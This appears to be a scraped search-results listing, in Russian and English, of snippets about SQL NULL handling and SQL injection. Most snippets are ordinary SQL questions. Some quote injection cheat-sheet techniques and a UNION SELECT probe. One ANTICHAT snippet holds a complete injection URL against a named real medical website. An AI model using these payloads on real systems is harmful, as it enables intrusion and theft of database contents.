Шпаргалка по SQL инъекциям | DefconRU
(M): SELECT CONCAT(login, password) FROM members. 7. Строки без кавычек Есть несколько
sql injection "union select null" - CodeProject
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
sql - Counting null values as unique value - Stack Overflow
Hours 1 1 2 null null null. The result must be: 3. My query is: select count(distinct hour) from hours; but it returns: 2. I tested also
sql - Informix: Select null problem - Stack Overflow
SELECT CAST(NULL AS INTEGER) FROM dual; And, if you don't have dual as a table (you probably don't), you can do one of a few things
mysql - Return 0 when SELECT COUNT is null - Stack Overflow
SELECT m.id, m.name, m.description, m.directions, COUNT(j.markerid) as marker_jingles FROM markers AS m LEFT OUTER JOIN jingles AS j ON j.markerid=m.id WHERE 1. But am a bit stuck because I cannot figure out how to get it to return rows when the COUNT is 0.
SQL Инъекции | Page 798 | ANTICHAT - Security online community
http://www.indianamri.com/index.php?page=Indiana_MRI_Bloomington_-_MRI_Services_for_Bloomington_and_Southern_Indiana_Magnetic_Resonance_Imaging&menu_id=1'+limit+0+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database())+
Заметка про NULL / Хабр | select col from ttt where col is not null
Существуют специальные операторы IS NULL и IS NOT NULL, которые позволяют производить сравнения с NULLами.
Взламываем сайты: шпаргалка по SQL инъекциям
#SQL Server SELECT login + '-' + password FROM members #MySQL SELECT CONCAT(login, password) FROM members. В MySQL для обхода сложных паттернов можно представлять строки в шеснадцатиричном виде, с помощью функции HEX() или вводить их посимвольно
COUNT, DISTINCT, and NULLs - SQL with Bert
returns non null values in group */ SELECT COUNT(Col1) FROM ##TestData; Because of this, COUNT, DISTINCT, and NULLs have a special relationship with each other that isn’t always as intuitive as many people think. Whenever using COUNT or DISTINCT, make sure to test with NULLs to make...
25 примеров команды SELECT в MySQL | ИТ Блог.
Основное использование команды SELECT является просмотр строк из таблицы.